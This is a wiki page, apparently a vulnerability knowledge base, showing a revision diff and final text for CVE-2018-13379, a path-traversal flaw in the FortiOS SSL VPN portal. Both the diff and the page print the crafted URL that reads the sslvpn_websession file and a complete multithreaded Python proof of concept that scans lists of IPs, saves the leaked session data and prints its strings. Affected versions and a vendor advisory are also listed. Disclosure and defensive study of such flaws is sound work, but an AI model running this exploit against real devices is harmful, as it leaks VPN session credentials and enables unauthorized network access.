Differences between revisions 1 and 2
Revision 1 as of 2019-12-17 14:30:52
Size: 854
Editor: Sciuro
Comment:
Revision 2 as of 2019-12-17 14:58:25
Size: 3802
Editor: Sciuro
Comment:
Deletions are marked like this. Additions are marked like this.
Line 6: Line 6:
Line 9: Line 8:
= POC =

Proof of concept, if available.
The next URL is responsible:
Line 14: Line 11:
telnet 1.2.3.4 5678 https://<IP>:<PORT>/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
}}}

= POC =
There is a proof of concept on [[https://github.com/milo2012/CVE-2018-13379|GitHub]]
{{{
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing

def checkIP(ip):
 try:
  url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
  headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
  r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
  img=r.raw.read()
  if "var fgt_lang =" in str(img):
   with open("sslvpn_websession_"+ip+".dat", 'w') as f:
    f.write(img)
   parseFile(ip)
   print "\n"
   return True
  else:
   return False
 except requests.exceptions.ConnectionError:
  return False

def read_bytes(filename, chunksize=8192):
  try:
    with open(filename, "rb") as f:
      while True:
        chunk = f.read(chunksize)
        if chunk:
          for b in chunk:
            yield b
        else:
          break
  except IOError:
    pass

def is_character_printable(s):
  return all((ord(c) < 127) and (ord(c) >= 32) for c in s)
  
def validate_byte_as_printable(byte):
  if is_character_printable(byte):
    return byte
  else:
    return '.'

def parseFile(ip):
 print "[Checking: "+ip+"]"
 url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
 print "[*} Web session at: "+url
 filename="sslvpn_websession_"+ip+".dat"
 memory_address = 0
 ascii_string = ""
 for byte in read_bytes(filename):
   ascii_string = ascii_string + validate_byte_as_printable(byte)
   if memory_address%61 == 60:
     if ascii_string!=".............................................................":
      print ascii_string
     ascii_string = ""
   memory_address = memory_address + 1

parser = optparse.OptionParser()
parser.add_option('-f', action="store", dest="filename")
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-n', action="store", dest="numOfThreads")
options, remainder = parser.parse_args()
numOfThreads=10
ipList=[]
if options.ip:
 ipList.append(options.ip)
if options.filename:
 with open(options.filename) as f:
  ipList = f.read().splitlines()
if options.numOfThreads:
 numOfThreads=int(options.numOfThreads)
ipList = filter(None, ipList)

p = multiprocessing.Pool(processes=numOfThreads)
p.map(checkIP,ipList)
p.close()
Line 21: Line 103:
 * FortiOS 5.4.12 and lower
 * FortiOS 5.6.10 and lower
 * FortiOS 6.0.5 and lower
 * FortiOS 6.2.1 and lower
 * FortiOS 6.0 - 6.0.0 to 6.0.4
 * FortiOS 5.6 - 5.6.3 to 5.6.7
 * FortiOS 5.4 - 5.4.6 to 5.4.12
Line 33: Line 114:
 * SecLists
  * [[URL]]
 * Reddit
  * [[URL]]
 * Fortigate
  * [[https://kb.fortinet.com/kb/documentLink.do?externalID=FD46513]]
 * Github
  * [[https://github.com/milo2012/CVE-2018-13379]]

General Disclosure

This is a path-traversal vulnerability in the FortiOS SSL VPN web portal that could potentially allow an unauthenticated attacker to download files through specially crafted HTTP resource requests. Fortinet advises customers to upgrade to FortiOS 5.4.13, 5.6.11, 6.0.6, 6.2.2.

The next URL is responsible:

https://<IP>:<PORT>/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

POC

There is a proof of concept on GitHub

import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing

def checkIP(ip):
        try:
                url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
                headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}          
                r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
                img=r.raw.read()
                if "var fgt_lang =" in str(img):
                        with open("sslvpn_websession_"+ip+".dat", 'w') as f:
                                f.write(img)            
                        parseFile(ip)
                        print "\n"                              
                        return True
                else:
                        return False
        except requests.exceptions.ConnectionError:
                return False

def read_bytes(filename, chunksize=8192):
  try:
    with open(filename, "rb") as f:
      while True:
        chunk = f.read(chunksize)
        if chunk:
          for b in chunk:
            yield b
        else:
          break
  except IOError:
    pass

def is_character_printable(s):
  return all((ord(c) < 127) and (ord(c) >= 32) for c in s)
  
def validate_byte_as_printable(byte):
  if is_character_printable(byte):
    return byte
  else:
    return '.'   

def parseFile(ip):
        print "[Checking: "+ip+"]"
        url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
        print "[*} Web session at: "+url
        filename="sslvpn_websession_"+ip+".dat"
        memory_address = 0
        ascii_string = ""
        for byte in read_bytes(filename):
          ascii_string = ascii_string + validate_byte_as_printable(byte)
          if memory_address%61 == 60:
            if ascii_string!=".............................................................":
                print ascii_string
            ascii_string = ""
          memory_address = memory_address + 1

parser = optparse.OptionParser()
parser.add_option('-f', action="store", dest="filename")
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-n', action="store", dest="numOfThreads")
options, remainder = parser.parse_args()
numOfThreads=10
ipList=[]
if options.ip:
        ipList.append(options.ip)
if options.filename:
        with open(options.filename) as f:
                ipList = f.read().splitlines()
if options.numOfThreads:
        numOfThreads=int(options.numOfThreads)
ipList = filter(None, ipList)

p = multiprocessing.Pool(processes=numOfThreads)
p.map(checkIP,ipList)           
p.close()

Affected Systems

Here is a list of the operating systems we have tested which are vulnerable to this attack:

  • FortiOS 6.0 - 6.0.0 to 6.0.4
  • FortiOS 5.6 - 5.6.3 to 5.6.7
  • FortiOS 5.4 - 5.4.6 to 5.4.12

Possible Mitigations

A list of all the possible mitigations.

Thanks

Thanks from

References

CVE/2018/13379 (last edited 2021-08-12 18:27:51 by Sciuro)